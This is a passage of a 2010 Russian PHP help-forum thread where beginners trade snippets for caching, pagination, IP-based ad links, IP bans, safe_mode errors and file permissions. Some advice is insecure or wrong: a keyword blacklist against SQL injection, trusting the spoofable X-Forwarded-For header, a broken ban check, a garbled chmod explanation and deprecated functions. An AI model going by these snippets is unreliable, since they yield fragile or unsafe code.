2881. Kadet8, как ты пишешь? Мы тут не телепаты.

2856. Aligan (01.03.10 / 11:25)
Kadet8, никак. Средствами php нельзя такое делать

2857. Titov (01.03.10 / 12:29)
2881 что ты пишешЪ? Читай стили CSS и разметку страници HTML. Может поможет.

2858. Jeka127 (01.03.10 / 15:26)
2880. ramzes, я не этого хочю добиться. Я хочю сделать, чтобы при вводе левых слэшей(специально или нет), не выдовать ошибку, а продолжить скрипт игнорируя лишние слэши, точку т.д.
if(preg_match('|^[a-z0-9\-_\/]+$|i',$dir) AND is_dir($dir)){
я так тоже могу сделать, но я хочю умный скрипт с минимум ошибок для юзера и с максимум защиты от хакеров. воть.

2859. Titov (01.03.10 / 15:32)
2885 не то фильтруеш гг, какой хакер будет лишние слеши добавлять чтоб чтото сделать, будут тестить на ошибки сам скрипт а не то что ты пишеш. Фильтруй лучше eregi('\'|<|>|char|union|select|bench|,|`',$_GET['url']) будет больше толку чем от етого что ты придумываеш и лишними запросами моск себе напрягаеш

2860. Jeka127 (01.03.10 / 15:58)
2886. Тitov, слэши я фильтровал для коректной работы функции определения род. каталога.
eregi - тормозит. Темболие для загруза, где может быть очень много запросов. Думаю можно мой вопрос крыть. Всем большое спасибо за инфу! Дальше сам. Всё что мне надо - узнал.

2861. Jeka127 (01.03.10 / 16:01)
Тitov ...лишними запросами моск себе напрягаеш...

Мне нужно было узнать как отфильтровать именно слэши.

2862. Aligan (01.03.10 / 16:22)
Тitov, проверять на наличие служебных команд в строке это глупо. Проверять нужно на наличие спецсимволов.

2863. ramzes (03.03.10 / 18:15)
Блог>публикация
Блог>публикация
Блог>публикация
Блог>публикация
~4 запроса в бд на каждой странице сайта, есть ли смысл кешировать в файл, с обновлением скажем раз в три часа?
Не могу измерить скорость работы и определить стоит или нет, хост слегка тормозит..

2864. AxqpxA (03.03.10 / 19:39)
90. Нет! в таких случаях кеш это лишнее! ведь блоги постоянно обновляются! допустим идет в ряд: публикация 1 [5 просмотров], публикация 2 [1 просмотр], публикация 3 [9 просмотров] и все это закешировалось! теперь ты удаляешь "Публикация 2] (В это время у юзера уже записался кеш) юзер обновляет станицу, пытается зайти в "публикация 2" и у него выдает ошибку! это был первый пример! теперь про просмотры! они будут тоже уже не честно выводить информацию! и на последок, ни так уж много времени занимает это, что бы кешировать ).gif

2865. sanzstez (03.03.10 / 19:43)
Да.Заяц прав. кэш иногда только мешает и прирост производ. от него в таких случаях минимальный

2866. ramzes (03.03.10 / 20:02)
Все таки сравни,
1000 посетителей / 50%(веб версия) * 5 переходов * 5 запросов = 12500 запросов за сутки, против 5 запросов * (24 часа / 3 часа кеша) = 40 запросов за сутки.
Добавим в эту разницу точно такие же модули загруза и обменника -> ~30к против 100, 300 раз.
Разница огромная, хоть на первый взгляд почти неощутима..
Динамичность меня не волнует, это не проблема внутри блогов реализовать обновление файла.
Интересует, пробывал кто скол запросы кешировать в файл, и есть ли реальная выгода, не только в ^ теории.
Просто в крупных скриптах, часто нечто подобное попадалось..

2867. HitLow (03.03.10 / 21:36)
Kadet8 (01.03.10 / 06:49)
Как в рнр сделать фон черным?а текст зеленым?а то пишу,а он мне пишет ошибка.

Пиши так:

<?php
echo '<body bgcolor="#000000" text="#00ff00">';
?>

Вот увидешь Поможет=)))

2868. Fuelen (04.03.10 / 08:33)
2893. ramzes, кешируй целую страницу. На сервере есть APC?

2869. coca-coca (04.03.10 / 10:58)
2893. ramzes, http://dklab.ru/lib/DbSimple/ пользуюсь этим классом для кэширования запросов в БД, насчёт выгоды.. Есть, но только в очень узких местах (прим. з/ц), но требует тоже граммотной настройки. А насчёт кэширования страницы целиком, лучше использовать класс того же Котерова http://dklab.ru/lib/Dklab_Cache/ , но имхо, он эффективен при условии, что есть memcached. APC не юзал.(

2870. Aligan (04.03.10 / 12:53)
Заяц при чем тут юзер и кеш? В данном случае под кешем имеется ввиду - временный статичный html-документ на сервере/кешированные данные в memory таблице MySQL

2871. ramzes (04.03.10 / 14:11)
id|name|opis|read|rating
id|name|opis|read|rating
id|name|opis|read|rating
собственно я хочу просто в файл скинуть данные и если файл не устарел то брать их из него а не из бд, самый стандартный ход, (5 запросов это если как сейчас у меня, а если еще комментарии и в каком блоге публикация то это уже 8-10 запросов.. Даже с часом кеша экономия приличная..
#96 я читал как то, надо долго разбираться и плюс у меня свой класс, весь двиг переписывать под новый класс как то не прет..
#95 а это что такое?

2872. coca-coca (04.03.10 / 14:24)
Alternative PHP Cache (APC) является свободным и открытым Opcode кэшом для PHP. Его цель заключается в обеспечении свободной, открытой и прочной основы для кэширования и оптимизации промежуточного кода PHP.
PECL-расширение это.)

2873. ramzes (04.03.10 / 14:58)
О спасибо, пойду читать, что за чудо такое, похоже то что надо).gif

2874. Jeka127 (04.03.10 / 15:15)
подскажите, возможно ли подобное...
<?php
$dan = array('img' => array('red' => 'img', 'green' => 'img'), 'file' => array('red' => 'file', 'green' => 'file'));
/////////////////////////////////////////////////
$all_red = $dan[*]['red']; // как так сделать? //
/////////////////////////////////////////////////
echo print_r($all_red);
?>

как такое можно сделать?

2875. painter (04.03.10 / 22:47)
Подскажите пожалуйста функцию РНР, которая поворачивает текст на изображении (естественно еще при генерации картинки) на выбраный угол (библиотека GD).
P.S. Заранее спасибо
P.P.S. В гуглю не посылать, ток что оттуда

2876. ramzes (05.03.10 / 01:27)
TTFtext($картинка,$fразмер шрифта,$наклон,$x,$y,$цвет,$шрифт.ттф,$текст);
$картинка - изображение на котором рисуем и которое потом выводим.
если я правильно тебя понял..

2877. painter (05.03.10 / 12:26)
Спасибо, кажись оно, чет думал, что там другая функция ).gif
+ уже ставил

2878. z-kzn-z (05.03.10 / 14:48)
ramzes, а может imagettftext()? ).gif

2879. ramzes (05.03.10 / 17:03)
Ну да, опечатался, с кем не бывает).gif

2880. painter (05.03.10 / 18:18)
Да хрен с ним, название я сам дописал, прос на нее даже внимания не обращал, искал чтото связаное со словом rotate ).gif

2881. ramzes (06.03.10 / 18:45)
echo ucfirst('тест');
не переводит первую букву кириллицы в верхний регистр, подскажите чем можно заменить функцию и что бы не сильно грузило т.к. очень много вызовов на странице, очень надо, ленгпак накрывается(.gif

2882. Titov (06.03.10 / 20:53)
Вопрос:
Кто знает возможно ли каким то образом узнать вес файла который находиться на удаленном сервере? Функция filesize(); выдает пустой результат, есть другие способы?

2883. ramzes (06.03.10 / 21:30)
strlen(file_get_contents()) так вроде можно, правда точно не знаю какой там алгоритм, что то типа подсчета веса страницы на сайте, и память будет ждать безбожно..

2884. coca-coca (07.03.10 / 00:10)
ramzes (06.03.10 / 18:45)
echo ucfirst('тест');
не переводит первую букву кириллицы в верхний регистр, подскажите чем можно заменить функцию и что бы не сильно грузило т.к. очень много вызовов на странице, очень надо, ленгпак накрывается(.gif

$string = 'текст в утф-8';
$string = mb_strtoupper( mb_substr( $string, 0, 1, 'UTF-8' ), 'UTF-8' ) . mb_substr( $string, 1, mb_strlen( $string ), 'UTF-8' );

2885. coca-coca (07.03.10 / 00:12)
Тitov (06.03.10 / 20:53)
Вопрос:
Кто знает возможно ли каким то образом узнать вес файла который находиться на удаленном сервере? Функция filesize(); выдает пустой результат, есть другие способы?

$fname='/файл на тыщупицот гигабайт.mpg';
$fhost='www.super-puper-site-s-pornuhoi.ru';
$x=0;
$fp = fsockopen($fhost, 80, &$errno, &$errstr, 30) or die("облом");
fputs($fp,"HEAD $fname HTTP/1.0\nHOST: $fhost\n\n");
while(!feof($fp)) $x.=fgets($fp,128);
fclose($fp);
if (ereg("Content-Length: ([0-9]+)",$x,$size)) echo "Размер файла $size[1] байт";
else echo "Определить невозможно";

2886. mozzzg (07.03.10 / 10:02)
подскажите, на phpbb wap v7 форуме можно сделать регистрацию для пользователей без мыла?

2887. Azzido (07.03.10 / 10:25)
Возможно все, за исключением если скрипт зашифрован

2888. mozzzg (07.03.10 / 10:39)
2914 а готового решения нет? может уже делал кто?

2889. Azzido (07.03.10 / 12:56)
Вряд ли, зачем отказываться от регистрации емайла,вместе с этим отпадает восстановление пароля и много еще каких функций

2890. mozzzg (07.03.10 / 15:47)
16 согласен, но у некоторых нету мэйла, и они не смогут регнуться

2891. Azzido (07.03.10 / 16:16)
Вряд ли ты сейчас найдешь человека,который часто выходит в интернет, регистрируется на форумах,полюбому сидит вконтакте и iсq, и у него нет емайл

2892. HitLow (08.03.10 / 03:06)
Помогите вот с чем пожалуйста:
не могу не как вспомнить как сделать что бы обрезал больше двух переносов на строку=(

2893. coca-coca (08.03.10 / 04:07)
2919. Rezent, гм,а по яснее можно,и желательно с примером?

2894. HitLow (08.03.10 / 12:58)
К примеру в форму ввели: текст \n\n\n текст \n\n\n\n\n\n\n текст
И надо чтобы после обработки обрезались лишние \n: текст \n\n текст \n\n текст

2895. EvroHoster (08.03.10 / 14:54)
$var = str_replace('\n\n\n', '\n\n', $var);
это первое что на ум всплыло, а вообще не тот день чтобы об этом думать. другим голова забита)

2896. HitLow (08.03.10 / 15:11)
2922. EvroHoster, =)
Не совсем то..А если переносов будет более чем 3 к примеру 4 или там 10.

2897. EvroHoster (08.03.10 / 19:21)
извиняюсь, но с не совсем трезвой головой трудно рассуждать)

2898. lugaro (08.03.10 / 19:33)
$var = preg_replace('|([\n]+)|si', '\n\n', $var);

2899. Fuelen (08.03.10 / 21:09)
2925. .::lugaro::., твой шаблон будет и 1 перенос на 2 заменять
#\n{3,}#

2900. HitLow (09.03.10 / 14:11)
Не один из вариантов не дает результата=(

2901. DmitryDick (09.03.10 / 17:23)
preg_replace("~\n{3,}~", "\n", $text);
двойные кавычки нужны)

2902. Azzido (10.03.10 / 06:30)
trim($text,"\n");

2903. Azzido (10.03.10 / 06:30)
так будет проще

2904. Azzido (10.03.10 / 06:43)
если эти символы в начале и вконце строки

2905. HitLow (12.03.10 / 17:16)
Есть еще вопросик:
Есть некий диапазон ип адресов. Есть Реклама.
Надо что бы ссылки (которые рэндомно)показывались только данным диапазонам ип адресам.

2906. HitLow (12.03.10 / 18:11)
Или сделать примерно так:
Сделать фун-цию которая ищет в файле диапазоны с ссылками и выводила ссылку для данного диапазона.
В файле написано примерно такое:
|НАчало_Диапазона|КОНЕЦ_ДИАПАЗОНА|ССЫЛКА_ДЛЯ_ДАННОГО_ДИАПАЗОНА|
ПРимер:
|231.435.767.1|231.435.767.89|reklama_page.php|
и т.д.

2907. HitLow (15.03.10 / 20:09)
Есть еще вопросики=) Есть такой код:
 <?php
$filename = "../dbfile/file.dat"; // Читаем содержимое файла построчно в массив $lines
$lines = file($filename);
array_walk($lines, 'trim_array'); // Сортируем массив
$lines = array_reverse($lines); // Проверяем, передан ли номер текущей страницы
if(isset($_GET['page'])){ $page = $_GET['page'];}else{ $page = 1;} // Число страниц
$total = count($lines);
if($total<1){echo'<br>Файл пуст<br>';}
$number = (int)($total/$config_postbooks);
if((float)($total/$config_postbooks) - $number != 0) $number++;
$start = (($page - 1)*$config_postbooks);
$end = $page*$config_postbooks;
if($end > $total) $end = $total; // Выводим содержимое страниц
for($i = $start; $i < $end; $i++){
$num=$total-$i-1;
if($i>=0){
//операция со строкой
}}

Собственно вопрос: Нужно вывести номер каждой строки начиная с 1. Если выводить через $i, то строка начинается с 0.
ЗЫ вопрос 33 еще актуален=)

2908. painter (18.03.10 / 19:55)
<?php
echo intval($i+1);
?>


2909. Taurus (18.03.10 / 21:33)
2926. Rezent, вот тебе функция
<?php
// Определяем IP пользователя
if ($_SERVER['HTTP_X_FORWARDED_FOR'])
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
else
$ip = $_SERVER['REMOTE_ADDR'];
// Файл со списком диапазонов IP и ссылками (ipandlinks.dat)
// Должен иметь такую структуру:
// Начало диапазона::Конец диапазона::Ссылка
// 85.115.224.0::85.115.224.255::reklama_page.php
// и т.д.
$ips = split("\.", $ip);
$fl = file("ipandlinks.dat");
for ($i=0; $i<count($fl); $i++)
{
$ipdata = explode("::", $fl[$i]);
$ips1 = split("\.", $ipdata[0]);
$ips2 = split("\.", $ipdata[1]);
if ($ips[0] >= $ips1[0] && $ips[0] <= $ips2[0])
{
if ($ips[1] >= $ips1[1] && $ips[1] <= $ips2[1])
{
if ($ips[2] >= $ips1[2] && $ips[2] <= $ips2[2])
{
if ($ips[3] >= $ips1[3] && $ips[3] <= $ips2[3])
$ssylka = trim($ipdata[3]);
}
}
}
}
fclose($fl);
echo '<a href="http://sait.ru/'.$ssylka.'">Ссылка</a>';
?>


2910. HitLow (19.03.10 / 22:08)
2929. Taurus, Спасибо. Но выдает вот такую ошибку: Notice: Undefined offset: 3 in Н:\users\test.ru\reklama.php on line 27
Это строка где присваивается значение переменной $ssylka = trim($ipdata[3]); и она почему то пустая. Файл заполнен по образцу:
127.0.0.0::127.0.0.10::reklama_bee.dat
124.0.0.3::124.0.0.3::reklama_be.dat
126.0.0.4::126.0.0.9::reklama_by.dat
122.0.0.7::122.0.0.7::reklama_mts.dat

2911. HitLow (19.03.10 / 22:09)
2928. dek, спасибо большое

2912. umaha (19.03.10 / 23:50)
Подскажите пожалуйста, Как сделать разбивку станиц типа так, как тут:
<-назад | далее->
станицы: 1 2 3 4 .. 7
Нужно выводить на станице картинок по 10 (jpg,gif,png). Если можно поподробнее

2913. Удаленный (20.03.10 / 00:01)
2932. umaha, Постраничная навигация тебе нужна.

2914. umaha (20.03.10 / 00:21)
BAGIR (Сегодня / 00:01)
2932. umaha, Постраничная навигация тебе нужна.

Ага... хотел сказать это, но смысл вопроса понятно:-)

2915. HitLow (20.03.10 / 00:38)
Малек коряво написано:
 <?php
$config_list='10';
$dir = opendir ("../img/papka");
while ($file = readdir ($dir)){
if(ereg ("\.gif$", $file)){
@$a[]=$file;
}}
closedir ($dir);
sort($a);
$total = count($a);
if(!empty($_GET['start'])){
$start = $_GET['start'];
}else{
$start="0";
}
if($start < 0 || $start > $total){$start = 0;}
if ($total < $start + $config_list){ $end = $total; }
else {$end = $start + $config_list; }
for ($i = $start; $i < $end; $i++){
@$smkod=str_replace(".gif","",$a[$i]);
echo '<img src="../img/papka/'[email protected]$a[$i].'" alt="">';
}
echo"<center><hr>";
if ($start != 0) {echo '<a href="?act=see&start='.($start - $config_list).'&"><-Назад</a>';}else{echo'';}
if ($total > $start + $config_list) {echo ' <a href="?act=see&start='.($start + $config_list).'&">Далее-></a>';}else{echo'';}
if($total>0){
$ba=ceil($total/$config_list);
$ba2=$ba*$config_list-$config_list;
echo '<br><hr>Страницы:';
$asd=$start-($config_list*3);
$asd2=$start+($config_list*3);
if($asd<$total && $asd>0){echo ' <a href="index.php?start=0&amp;'.SID.'">1</a> ... ';}
for($i=$asd; $i<$asd2;){
if($i<$total && $i>=0){
$ii=floor(1+$i/$config_list);
if ($start==$i) {
echo ' <b>('.$ii.')</b>';
} else {
echo ' <a href="index.php?start='.$i.'&amp;'.SID.'">'.$ii.'</a>';
}}
$i=$i+$config_list;}
if($asd2<$total){echo ' ... <a href="index.php?start='.$ba2.'&amp;'.SID.'">'.$ba.'</a>';}
}


2916. Azzido (20.03.10 / 00:39)
Там в архиве скриптов куча примеров, где наглядно все организовано,а ты просишь в теме какой то чтоб тебе показали, тебе на примере покажут ты еще больше запутаешься и нихрена не поймешь

2917. umaha (20.03.10 / 00:40)
Спасибо огромное! Ща проверим...

2918. umaha (20.03.10 / 00:45)
Azzido (Сегодня / 00:39)
Там в архиве скриптов куча примеров, где наглядно все организовано,а ты просишь в теме какой то чтоб тебе показали, тебе на примере покажут ты еще больше запутаешься и нихрена не поймешь

Ну да, даже в моторе таких полно, просто в каждой разделе их по разному. Потому что спросил тут:-). Стараюсь догнать гг

2919. Taurus (20.03.10 / 08:35)
2930. Rezent, попробуй в файле ipandlinks.dat после каждой строки поставить по два двоеточия:
192.168.17.0::192.168.17.255::reklama.php::

2920. Olfix (21.03.10 / 03:23)
дает если написать так адрес/uin='.intval($_POST['uin']).'">Отправить еще</a><br/>'; и нада так чтобы было без (отправить сообщение) ибо там в анкете просто номер аси выводица как ссылка

2921. ArchangeL (21.03.10 / 06:59)
Как сделать так,чтобы этот код,показывал размер в кб?
<?php
function size_dir($dir) {
$full_size=0;
$opdir=opendir($dir);
while ($a = readdir($opdir))
{ if ($a != "." && $a != ".." && !is_dir($dir .'/'.$a))
{$full_size=$full_size+filesize($dir .'/'.$a);}
elseif ($a != "." && $a != ".." && is_dir($dir .'/'.$a)) {$full_size=$full_size+size_dir($dir .'/'.$a);}
}
closedir ($opdir);
return $full_size;}
}
?>


2922. Fuelen (21.03.10 / 07:49)
2941. InFeRoruM AngeluS, echo ceil(size_dir('.')/1024).'kb';

2923. ArchangeL (21.03.10 / 07:54)
2942. Fuelen, пробовал уже,не работает

2924. Fuelen (21.03.10 / 08:17)
2943. InFeRoruM AngeluS, что не работает?

2925. ArchangeL (21.03.10 / 09:11)
Выдает ошибку,что-то связанной с '

2926. Azzido (21.03.10 / 09:39)
Значит неправильно пробовал. Эта функция не может не работать.

2927. ArchangeL (21.03.10 / 09:46)
Ну сейчас еще попробую =) может я недочет где влепил

2928. ArchangeL (21.03.10 / 10:11)
Работает =) то я не то дела,сейчас через переменные вывел,сложил значения и все работает на ура =)

2929. HitLow (21.03.10 / 12:27)
2939. Taurus, Попробовал с оффсетом ошибка исчезла. Но все равно не работает. Попробовал вставить текст после каждого условия, не одно не выполняется =( В чем может быть дело?
Файл заполнил как ты говрил
ip_start::ip_end::link::

2930. HitLow (21.03.10 / 12:33)
А все пока работает=) Спасибо) + уже ставил)

2931. Taurus (21.03.10 / 12:37)
2949. Rezent, через час с работы приду, за комп сяду и посмотрю... Давно написал эту функцию для определения оператора по ай пи... Вроде все работало.

2932. HitLow (21.03.10 / 12:42)
2951. Taurus, Спасибо. Пока все работает. я проверял только на своем локальном серве( Но думаю итак все будет гуд. ты там мелек ошибся с выводом ссылки=) теперь все норм работает как часики) Спасибо еще раз

2933. HitLow (21.03.10 / 12:51)
А нет, сглазил=( Убрал строку с 127.0.0.1::127.0.0.10::test.php:: Все равно выводит мне рекламу о_0 =) И когда ставлю строку обратно меняю последнею цифру с 1 на 2 все равно показывает =(

2934. HitLow (21.03.10 / 12:52)
Вот сам код (может я чет не так налепил):
 <?php
if (@$_SERVER['HTTP_X_FORWARDED_FOR']){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
$ips = split("\.", $ip);
$fl = file(BASEDIR."local/fileip.dat");
for ($i=0; $i<count($fl); $i++){
$ipdata = explode("::", $fl[$i]);
$ips1 = split("\.", $ipdata[0]);
$ips2 = split("\.", $ipdata[1]);
if ($ips[0] >= $ips1[0] && $ips[0] <= $ips2[0]) {
if ($ips[1] >= $ips1[1] && $ips[1] <= $ips2[1]){
if ($ips[2] >= $ips1[2] && $ips[2] <= $ips2[2]){
if ($ips[3] >= $ips1[3] && $ips[3] <= $ips2[3])
$ssylka = trim($ipdata[2]);
include "".BASEDIR."reklama/pages/".$ssylka."";
}}}}}


2935. ArchangeL (21.03.10 / 13:09)
Ребят,может тут кто знает,как сделать поиск файлов,например,по имени,или первым буквам? Подскажите кто знает,срочно надо,спасибо,с меня плюс

2936. ramzes (21.03.10 / 13:22)
sripos, strstr, preg_match.
Тема сисек не раскрыта

2937. Taurus (21.03.10 / 14:01)
2954. Rezent, И ты налепил, и я ошибся... Вот рабочий код, проверял только в Денвере.
<?php
// Определяем IP пользователя
if ($_SERVER['HTTP_X_FORWARDED_FOR'])
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
else
$ip = $_SERVER['REMOTE_ADDR'];
// Файл со списком диапазонов IP и ссылками (ipandlinks.dat)
// Должен иметь такую структуру:
// Начало диапазона::Конец диапазона::Ссылка
// 85.115.224.0::85.115.224.255::reklama_page.php
// и т.д.
$ips = split("\.", $ip);
$fl = file("ipandlinks.dat");
for ($i=0; $i<count($fl); $i++)
{
$ipdata = explode("::", $fl[$i]);
$ips1 = split("\.", $ipdata[0]);
$ips2 = split("\.", $ipdata[1]);
if ($ips[0] >= $ips1[0] && $ips[0] <= $ips2[0])
{
if ($ips[1] >= $ips1[1] && $ips[1] <= $ips2[1])
{
if ($ips[2] >= $ips1[2] && $ips[2] <= $ips2[2])
{
if ($ips[3] >= $ips1[3] && $ips[3] <= $ips2[3])
$ssylka = $ipdata[2]; // Здесь была ошибка
else
$ssylka = '';
}
}
}
}
//fclose($fl);
echo '<a href="http://sait.ru/'.$ssylka.'">Ссылка</a>';
?>


2938. Taurus (21.03.10 / 14:12)
include "".BASEDIR."reklama/pages/".$ssylka."";

Из цикла вынеси...

2939. Fuelen (21.03.10 / 14:19)
2956. ramzes, при чём сиське?

2940. HitLow (21.03.10 / 20:04)
2958. Taurus, Вынес) Переделал под себя=) Спасиб

2941. ArchangeL (23.03.10 / 14:43)
Нужен код подсчета вера одного файла,подскажите пожалуйста,чтоб как в зц определял вес файла в кб,спасибо за ранее

2942. ramzes (23.03.10 / 15:05)
В полезных кусках кода смотри. Много раз писали функцию.

2943. Удаленный (23.03.10 / 15:45)
2961. тебе же люди писали в созданной тобой темы,про подсчёты... вот и шаблон и бери с того кода.

2944. ArchangeL (23.03.10 / 16:01)
Rаmzеs,спасибо,понял,просто мозги кипят...поспал сам написал
TRIGЕR,давай без глупостей,не до этого сейчас!

2945. ArchangeL (24.03.10 / 22:10)
2965. Anonim-88, да я понял уже,просто думал может ёсть код менее того,что я знаю

2946. ArchangeL (25.03.10 / 11:57)
И все же не подходит ... Нужен код подсчета веса только файлов

2947. Удаленный (25.03.10 / 15:24)
2967,тебе для каждого файла нужен подсчёт?

2948. ArchangeL (25.03.10 / 16:09)
2968. Triger aka User, да,мне для обменника

2949. Sich (30.03.10 / 01:45)
Делаю бан по ip но немного не получается, если юзер забанен срабатывает только последний ip из списка в файле, помогите исправить что бы все ip проверялись в файле, а не последний.
<?
$ip = $_SERVER['REMOTE_ADDR'];
$data = file('ban.dat');
$end = end($data);
if($end != '')
{
list($cip, $cx3) = explode('|', $end);
if($cip == $ip) {
echo 'бан<br/>';
exit;
}
}
?>


2950. lugaro (30.03.10 / 01:58)
Sich
<?
$ip = $_SERVER['REMOTE_ADDR'];
$data = file('ban.dat');
$ex = explode('|', $data);
if(in_array($ip, $ex)) {
echo 'бан<br/>';
exit;
}
?>

как то так

2951. Sich (30.03.10 / 16:36)
Не работает

2952. ramzes (30.03.10 / 17:03)
Все работает, тут неработать то не чему).gif

2953. Infernus (01.04.10 / 10:27)
народ кто имел дело с phpBB? А в частности с двигом Wapi4a как там свою страницу создать? чёт у меня ошибки вылазиют, подскажите пожалуйста

2954. Infernus (01.04.10 / 10:31)
я что то не пойму откуда там инклуд идёт

2955. Atuwap (02.04.10 / 14:00)
Я здес http://visavi.net/services/encryption.php шифровал пхп. Как мне расшифровать тот самый шифрованный пхп?

2956. Atuwap (04.04.10 / 12:37)
Плиз помогите 2977 пост

2957. WCO (04.04.10 / 12:43)
Дай мне скрипт, приду домой, сделаю

2958. Atuwap (04.04.10 / 16:24)
WCO (Сегодня / 12:43)
Дай мне скрипт, приду домой, сделаю

спосибо братуха дам ссылку приват

2959. Atuwap (04.04.10 / 20:28)
Плиз помогите. Что за ошибка на .htaccess е захажу страницу выдает ошибку 500. На cpanel посмотрел на Журнал Ошибку .htaccesse такой ошибка: Invalid command 'php_value', perhaps misspelled or defined by a module not included in the server configuration

2960. HitLow (04.04.10 / 20:31)
Что ты натворил в .htaccess. За комментируй по очереди все строки в .htaccess содержащих php_value так и найдешь где ошибся

2961. ekstrom9545 (05.04.10 / 00:08)
Вот код страницы:
1.include ("../config.php");
2.include("head.php");
3.$adm_img_str = 5;
4.
5.
6.
7.$shir = "80"; //ширина
8.$vis = "60"; //высота
9.$result = mysql_query("SELECT id,foto,size FROM prikoli");
10.$myrow = mysql_fetch_array($result);
11.echo "<div class=podtitle>Картинки:Приколы</div>";
12.do {
13.printf("<div class=kntent><img src ='%s' height='$shir' width='$vis'></img><br><a href='%s'>%s</a> [%s KB]<br>",$myrow["foto"],$myrow["foto"],$myrow["foto"],$myrow["size"]);
14.}
15.while($myrow = mysql_fetch_array($result));
16.if(!isset($_GET['id']))
17.{
18.if(!$_GET['str']==null){$str2 = $_GET['str'];}else{$str2=1;}
19.$bd = mysql_query("select * from `prikoli`");
20.$num_rows = mysql_num_rows($bd);
21.$str1=0;
22.$str=0;
23.while($str<=$num_rows)
24.{
25.$str1=$str1+1;
26.if($str1 == $str2)
27.{
28.echo"$str1 ";
29.}
30.else
31.{
32.echo"<a href='?str=$str1'>$str1</a> ";
33.}
34.$str=$str+$adm_img_str;
35.}
36.}
Страницы создает сколько положено,7 записей и 2 страницы.Но 7 записей скрипт вставляет и на 1 и на 2 страницу.В php я новичек и не пишите пожалуйста "аффтар отрежь себе пальцы"..

2962. Atuwap (05.04.10 / 07:14)
Rezent (Вчера / 20:31)
Что ты натворил в .htaccess. За комментируй по очереди все строки в .htaccess содержащих php_value так и найдешь где ошибся

да все решил спосибо. А тепер другой проблемы поевилос. На хосте ранше не была php.ini сейчас ест . Из за етого мотор не робит. Там написано
php_flag register_globals 0
php_flag session.use_trans_sid 1
php_flag safe_mode_gid 1
php_flag safe_mode On
php_flag safe_mode_include_dir 1
php_flag magic_quotes_gpc 0
php_flag magic_quotes_runtime 0
php_flag magic_quotes_sybase 0
php_flag file_uploads 1

2963. Azzido (05.04.10 / 07:20)
2984, ничего не понятно что ты сделал. Что за хостинг? Или на твоем хосте вообще запрещен .htaccess или некоторые директивы, мне кажется вот эти
php_flag safe_mode_gid 1
php_flag safe_mode On
php_flag safe_mode_include_dir 1
если это бесплатный хостинг конечно, а php.ini как правило пользователю хостнга не доступно, так что не знаю к чему ты ее сюда приписываешь

2964. Atuwap (05.04.10 / 07:39)
2985. Azzido, нет не чего не сделал. Зашол сайт и увидел такой ошибку:
Warning: session_start() [function.session-start]: SAFE MODE Restriction in effect. The script whose uid is 530 is not allowed to access /tmp owned by uid 0 in/public_html/template/start.phpon line18Fatal error: session_start() [<a href='function.session-start'>function.session-start</a>]: Failed to initialize storage module: files (path: ) in/public_html/template/start.phpon line18
посмотрел на хост с фтп там вижу что корне поевился php.ini . Ранше не была php.ini . Платный хостинг. Php версия ранше была 5.2.6 а тепер стало 5.3.?

2965. Azzido (05.04.10 / 08:15)
2986, это скорей всего из за того что в start.php назначается временный каталог для хранения сессии, а не из за .htaccess

2966. Azzido (05.04.10 / 08:16)
5. Vantuz (13.03.10 / 19:12)
Турбовантуз [Off]
Ответить / Цитировать / Спам
откройте файл includes/start.php и удалите там строку @ini_set('session.save_path', dirname($_SERVER['DOCUMENT_ROOT']).'/tmp'); тогда сессии будут хранится в общей папке
(Opera/9.80, 213.108.144.135) http://visavi.net/forum/topic.php?tid=6940&

2967. Roony11 (05.04.10 / 08:30)
Как вставить код счетчика|банера в php?

2968. Taurus (05.04.10 / 08:47)
<?
echo '<img src="http://c.waplog.net/ru/1648.cnt" alt="waplog.net" />';
?>


2969. Atuwap (05.04.10 / 10:19)
Azzido (Сегодня / 08:16)
5. Vantuz (13.03.10 / 19:12)
Турбовантуз [Off]
Ответить / Цитировать / Спам
откройте файл includes/start.php и удалите там строку @ini_set('session.save_path', dirname($_SERVER['DOCUMENT_ROOT']).'/tmp'); тогда сессии будут хранится в общей папке
(Opera/9.80, 213.108.144.135) http://visavi.net/forum/topic.php?tid=6940&

не пока я не обнави на 19. Вот мой start.php

$motor_version="FINAL";
$license_version="18.5";
@error_reporting(E_ALL ^ E_NOTICE);
@ini_set('display_errors', false);
@ini_set('html_errors', false);
@ini_set('error_reporting', E_ALL ^ E_NOTICE);
@ini_set('url_rewriter.tags','');
@ini_set('session.use_trans_sid', 1);
@set_magic_quotes_runtime(0);
session_name("SID");
session_start();
list($generic_msec,$generic_sec)=explode(chr(32),microtime());
$generic_time=$generic_sec+$generic_msec;


2970. Azzido (05.04.10 / 10:58)
хм, ну тут ошибка именно безопасного доступа сервер сравнивает uid, где то видимо в настройках либо скрипта либо сервера изменен путь сохранения сессии, либо какие то проблемы с safe mode попробуй его отключить

2971. Azzido (05.04.10 / 10:59)
кстати да, раз говоришь php 5.3 скорей всего с safemode и проблемы, с правами владельца и пользователя

2972. Atuwap (05.04.10 / 11:12)
2993. Azzido, а как отключить safe mode?

2973. Azzido (05.04.10 / 12:02)
php_flag safe_mode_gid 1
php_flag safe_mode On
php_flag safe_mode_include_dir 1
замени на
php_flag safe_mode_gid off
php_flag safe_mode off
php_flag safe_mode_include_dir off
или же если не помогло вообще убери

2974. Atuwap (05.04.10 / 13:04)
2995. Azzido, уже хостер исправил сам. Спосибо. Ето из за обнавление.

2975. ramzes (07.04.10 / 17:27)
Блин, незнаю как коротко обьяснить..
Есть у кого ни будь пример наработчика ЧПУ Для модульной структуры скрипта?
(МодРеврайт + регулярка).
Наверняка кто то сталкивался с таким..

2976. ramzes (08.04.10 / 01:01)
Вопрос снимаю).gif уже решил).gif

2977. RegioN (08.04.10 / 06:54)
Ребята как сделать чтобы на текстовом файле стояли права 666 но в браузере его открыть нельзя было?

2978. Azzido (08.04.10 / 07:39)
2999, поставь права доступа не 666 а 660

2979. RegioN (08.04.10 / 10:32)
3000. Azzido, мне нужно чтобы запись в файл происходил.

2980. Azzido (08.04.10 / 10:44)
3001, она будет происходить. первая цифра-владелец, вторая-группы, третья-пользователь. 4-чтение. 2-запись. 1-что то еще забыл я точный функционал, в результате и получаем права 4+2+1=7 (644, 777, 666,766 и тд)

2981. Azzido (08.04.10 / 10:45)
для верности используй права 662, я точно не уверен какие процессы какими правами обладают

2982. Azzido (08.04.10 / 10:53)
вспомнил 1 - это изменение добавление, файлов, для папок эти права короче

2983. RegioN (08.04.10 / 11:48)
